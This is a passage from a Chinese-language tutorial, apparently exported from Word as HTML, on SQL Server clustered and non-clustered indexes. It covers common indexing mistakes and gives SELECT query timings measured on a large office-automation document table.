22.7pt; mso-yfti-irow: 8; mso-yfti-lastrow: yes"> <TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: black 1pt solid; WIDTH: 142pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt; mso-border-left-alt: solid black .75pt"> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center; mso-yfti-cnfc: 4" align=center><SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312; mso-bidi-font-weight: bold">频繁修改索引列<SPAN><o:p></o:p></SPAN></SPAN></P></TD> <TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #d4d0c8; WIDTH: 142.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt"> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center><SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312">不应<SPAN><o:p></o:p></SPAN></SPAN></P></TD> <TD style="BORDER-RIGHT: black 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #d4d0c8; WIDTH: 142.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt; mso-border-right-alt: solid black .75pt"> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center><SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312">应<SPAN><o:p></o:p></SPAN></SPAN></P></TD></TR></TABLE> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">事实上，我们可以通过前面聚集索引和非聚集索引的定义的例子来理解上表。如：返回某范围内的数据一项。比如您的某个表有一个时间列，恰好您把聚合索引建立在了该列，这时您查询<SPAN>2004</SPAN>年<SPAN>1</SPAN>月<SPAN>1</SPAN>日至<SPAN>2004</SPAN>年<SPAN>10</SPAN>月<SPAN>1</SPAN>日之间的全部数据时，这个速度就将是很快的，因为您的这本字典正文是按日期进行排序的，聚类索引只需要找到要检索的所有数据中的开头和结尾数据即可；而不像非聚集索引，必须先查到目录中查到每一项数据对应的页码，然后再根据页码查到具体内容。<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">（三）结合实际，谈索引使用的误区<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">理论的目的是应用。虽然我们刚才列出了何时应使用聚集索引或非聚集索引，但在实践中以上规则却很容易被忽视或不能根据实际情况进行综合分析。下面我们将根据在实践中遇到的实际问题来谈一下索引使用的误区，以便于大家掌握索引建立的方法。<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">1</SPAN><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">、主键就是聚集索引<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">这种想法笔者认为是极端错误的，是对聚集索引的一种浪费。虽然<SPAN>SQL SERVER</SPAN>默认是在主键上建立聚集索引的。<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">通常，我们会在每个表中都建立一个<SPAN>ID</SPAN>列，以区分每条数据，并且这个<SPAN>ID</SPAN>列是自动增大的，步长一般为<SPAN>1</SPAN>。我们的这个办公自动化的实例中的列<SPAN>Gid</SPAN>就是如此。此时，如果我们将这个列设为主键，<SPAN>SQL SERVER</SPAN>会将此列默认为聚集索引。这样做有好处，就是可以让您的数据在数据库中按照<SPAN>ID</SPAN>进行物理排序，但笔者认为这样做意义不大。<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">显而易见，聚集索引的优势是很明显的，而每个表中只能有一个聚集索引的规则，这使得聚集索引变得更加珍贵。<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">从我们前面谈到的聚集索引的定义我们可以看出，使用聚集索引的最大好处就是能够根据查询要求，迅速缩小查询范围，避免全表扫描。在实际应用中，因为<SPAN>ID</SPAN>号是自动生成的，我们并不知道每条记录的<SPAN>ID</SPAN>号，所以我们很难在实践中用<SPAN>ID</SPAN>号来进行查询。这就使让<SPAN>ID</SPAN>号这个主键作为聚集索引成为一种资源浪费。其次，让每个<SPAN>ID</SPAN>号都不同的字段作为聚集索引也不符合“大数目的不同值情况下不应建立聚合索引”规则；当然，这种情况只是针对用户经常修改记录内容，特别是索引项的时候会负作用，但对于查询速度并没有影响。<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">在办公自动化系统中，无论是系统首页显示的需要用户签收的文件、会议还是用户进行文件查询等任何情况下进行数据查询都离不开字段的是“日期”还有用户本身的“用户名”。<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">通常，办公自动化的首页会显示每个用户尚未签收的文件或会议。虽然我们的<SPAN>where</SPAN>语句可以仅仅限制当前用户尚未签收的情况，但如果您的系统已建立了很长时间，并且数据量很大，那么，每次每个用户打开首页的时候都进行一次全表扫描，这样做意义是不大的，绝大多数的用户<SPAN>1</SPAN>个月前的文件都已经浏览过了，这样做只能徒增数据库的开销而已。事实上，我们完全可以让用户打开系统首页时，数据库仅仅查询这个用户近<SPAN>3</SPAN>个月来未阅览的文件，通过“日期”这个字段来限制表扫描，提高查询速度。如果您的办公自动化系统已经建立的<SPAN>2</SPAN>年，那么您的首页显示速度理论上将是原来速度<SPAN>8</SPAN>倍，甚至更快。<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">在这里之所以提到“理论上”三字，是因为如果您的聚集索引还是盲目地建在<SPAN>ID</SPAN>这个主键上时，您的查询速度是没有这么高的，即使您在“日期”这个字段上建立的索引（非聚合索引）。下面我们就来看一下在<SPAN>1000</SPAN>万条数据量的情况下各种查询的速度表现（<SPAN>3</SPAN>个月内的数据为<SPAN>25</SPAN>万条）：<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">（<SPAN>1</SPAN>）仅在主键上建立聚集索引，并且不划分时间段：<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">Select gid,fariqi,neibuyonghu,title from tgongwen<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">用时：<SPAN>128470</SPAN>毫秒（即：<SPAN>128</SPAN>秒）<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">（<SPAN>2</SPAN>）在主键上建立聚集索引，在<SPAN>fariq</SPAN>上建立非聚集索引：<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">select gid,fariqi,neibuyonghu,title from Tgongwen<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">where fariqi&gt; dateadd(day,-90,getdate())<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">用时：<SPAN>53763</SPAN>毫秒（<SPAN>54</SPAN>秒）<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">（<SPAN>3</SPAN>）将聚合索引建立在日期列（<SPAN>fariqi</SPAN>）上：<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">select gid,fariqi,neibuyonghu,title from Tgongwen<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">where fariqi&gt; dateadd(day,-90,getdate())<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">用时：<SPAN>2423</SPAN>毫秒（<SPAN>2</SPAN>秒）<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">虽然每条语句提取出来的都是<SPAN>25</SPAN>万条数据，各种情况的差异却是巨大的，特别是将聚集索引建立在日期列时的差异。事实上，如果您的数据库真的有<SPAN>1000</SPAN>万容量的话，把主键建立在<SPAN>ID</SPAN>列上，就像以上的第<SPAN>1</SPAN>、<SPAN>2</SPAN>种情况，在网页上的表现就是超时，根本就无法显示。这也是我摒弃<SPAN>ID</SPAN>列作为聚集索引的一个最重要的因素。<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 31.9pt; mso-para-margin-left: 3.04gd"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">得出以上速度的方法是：在各个<SPAN>select</SPAN>语句前加：<SPAN>declare @d datetime<o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">set @d=getdate()<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">并在<SPAN>select</SPAN>语句后加：<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">select [</SPAN><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">语句执行花费时间<SPAN>(</SPAN>毫秒<SPAN>)]=datediff(ms,@d,getdate())<o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">2</SPAN><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">、只要建立索引就能显著提高查询速度<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">事实上，我们可以发现上面的例子中，第<SPAN>2</SPAN>、<SPAN>3</SPAN>条语句完全相同，且建立索引的字段也相同；不同的仅是前者在<SPAN>fariqi</SPAN>字段上建立的是非聚合索引，后者在此字段上建立的是聚合索引，但查询速度却有着天壤之别。所以，并非是在任何字段上简单地建立索引就能提高查询速度。<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">从建表的语句中，我们可以看到这个有着<SPAN>1000</SPAN>万数据的表中<SPAN>fariqi</SPAN>字段有<SPAN>5003</SPAN>个不同记录。在此字段上建立聚合索引是再合适不过了。在现实中，我们每天都会发几个文件，这几个文件的发文日期就相同，这完全符合建立聚集索引要求的：“既不能绝大多数都相同，又不能只有极少数相同”的规则。由此看来，我们建立“适当”的聚合索引对于我们提高查询速度是非常重要的。<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">3</SPAN><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">、把所有需要提高查询速度的字段都加进聚集索引，以提高查询速度<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">上面已经谈到：在进行数据查询时都离不开字段的是“日期”还有用户本身的“用户名”。既然这两个字段都是如此的重要，我们可以把他们合并起来，建立一个复合索引（<SPAN>compound index</SPAN>）。<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">很多人认为只要把任何字段加进聚集索引，就能提高查询速度，也有人感到迷惑：如果把复合的聚集索引字段分开查询，那么查询速度会减慢吗？带着这个问题，我们来看一下以下的查询速度（结果集都是<SPAN>25</SPAN>万条数据）：（日期列<SPAN>fariqi</SPAN>首先排在复合聚集索引的起始列，用户名<SPAN>neibuyonghu</SPAN>排在后列）<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">（<SPAN>1</SPAN>）<SPAN>select gid,fariqi,neibuyonghu,title from Tgongwen where fariqi&gt;'2004-5-5' <o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">查询速度：<SPAN>2513</SPAN>毫秒<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">（<SPAN>2</SPAN>）<SPAN>select gid,fariqi,neibuyonghu,title from Tgongwen where fariqi&gt;'2004-5-5' and neibuyonghu='</SPAN>办公室<SPAN>'<o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">查询速度：<SPAN>2516</SPAN>毫秒<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">（<SPAN>3</SPAN>）<SPAN>select gid,fariqi,neibuyonghu,title from Tgongwen where neibuyonghu='</SPAN>办公室<SPAN>'<o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">查询速度：<SPAN>60280</SPAN>毫秒<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">从以上试验中，我们可以看到如果仅用聚集索引的起始列作为查询条件和同时用到复合聚集索引的全部列的查询速度是几乎一样的，甚至比用上全部的复合索引列还要略快（在查询结果集数目一样的情况下）；而如果仅用复合聚集索引的非起始列作为查询条件的话，这个索引是不起任何作用的。当然，语句<SPAN>1</SPAN>、<SPAN>2</SPAN>的查询速度一样是因为查询的条目数一样，如果复合索引的所有列都用上，而且查询结果少的话，这样就会形成“索引覆盖”，因而性能可以达到最优。同时，请记住：无论您是否经常使用聚合索引的其他列，但其前导列一定要是使用最频繁的列。<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">（四）其他书上没有的索引使用经验总结<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">1</SPAN><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">、用聚合索引比用不是聚合索引的主键速度快</SPAN><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"><o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">下面是实例语句：（都是提取<SPAN>25</SPAN>万条数据）<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">select gid,fariqi,neibuyonghu,reader,title from Tgongwen where fariqi='2004-9-16'<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">使用时间：<SPAN>3326</SPAN>毫秒<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">select gid,fariqi,neibuyonghu,reader,title from Tgongwen where gid&lt;=250000<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">使用时间：<SPAN>4470</SPAN>毫秒<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">这里，用聚合索引比用不是聚合索引的主键速度快了近<SPAN>1/4</SPAN>。<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">2</SPAN><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">、用聚合索引比用一般的主键作<SPAN>order by</SPAN>时速度快，特别是在小数据量情况下<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">select gid,fariqi,neibuyonghu,reader,title from Tgongwen order by fariqi<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">用时：<SPAN>12936<o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">select gid,fariqi,neibuyonghu,reader,title from Tgongwen order by gid<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">用时：<SPAN>18843<o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">这里，用聚合索引比用一般的主键作<SPAN>order by</SPAN>时，速度快了<SPAN>3/10</SPAN>。事实上，如果数据量很小的话，用聚集索引作为排序列要比使用非聚集索引速度快得明显的多；而数据量如果很大的话，如<SPAN>10</SPAN>万以上，则二者的速度差别不明显。<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">3</SPAN><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">、使用聚合索引内的时间段，搜索时间会按数据占整个数据表的百分比成比例减少，而无论聚合索引使用了多少个<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">select gid,fariqi,neibuyonghu,reader,title from Tgongwen where fariqi&gt;'2004-1-1'<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">用时：<SPAN>6343</SPAN>毫秒（提取<SPAN>100</SPAN>万条）<SPAN> <o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">select gid,fariqi,neibuyonghu,reader,title from Tgongwen where fariqi&gt;'2004-6-6'<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">用时：<SPAN>3170</SPAN>毫秒（提取<SPAN>50</SPAN>万条）<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">select gid,fariqi,neibuyonghu,reader,title from Tgongwen where fariqi='2004-9-16'<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">用时：<SPAN>3326</SPAN>毫秒（和上句的结果一模一样。如果采集的数量一样，那么用大于号和等于号是一样的）<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">select gid,fariqi,neibuyonghu,reader,title from Tgongwen where fariqi&gt;'2004-1-1' and fariqi&lt;'2004-6-6'<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">用时：<SPAN>3280</SPAN>毫秒<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">4 </SPAN><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">、日期列不会因为有分秒的输入而减慢查询速度<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">下面的例子中，共有<SPAN>100</SPAN>万条数据，<SPAN>2004</SPAN>年<SPAN>1</SPAN>月<SPAN>1</SPAN>日以后的数据有<SPAN>50</SPAN>万条，但只有两个不同的日期，日期精确到日；之前有数据<SPAN>50</SPAN>万条，有<SPAN>5000</SPAN>个不同的日期，日期精确到秒。<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">select gid,fariqi,neibuyonghu,reader,title from Tgongwen where fariqi&gt;'2004-1-1' order by fariqi<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">用时：<SPAN>6390</SPAN>毫秒<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">select gid,fariqi,neibuyonghu,reader,title from Tgongwen where fariqi&lt;'2004-1-1' order by fariqi<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">用时：<SPAN>6453</SPAN>毫秒<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">（五）其他注意事项<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">“水可载舟，亦可覆舟”，索引也一样。索引有助于提高检索性能，但过多或不当的索引也会导致系统低效。因为用户在表中每加进一个索引，数据库就要做更多的工作。过多的索引甚至会导致索引碎片。<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">所以说，我们要建立一个“适当”的索引体系，特别是对聚合索引的创建，更应精益求精，以使您的数据库能得到高性能的发挥。<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">当然，在实践中，作为一个尽职的数据库管理员，您还要多测试一些方案，找出哪种方案效率最高、最为有效。<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal 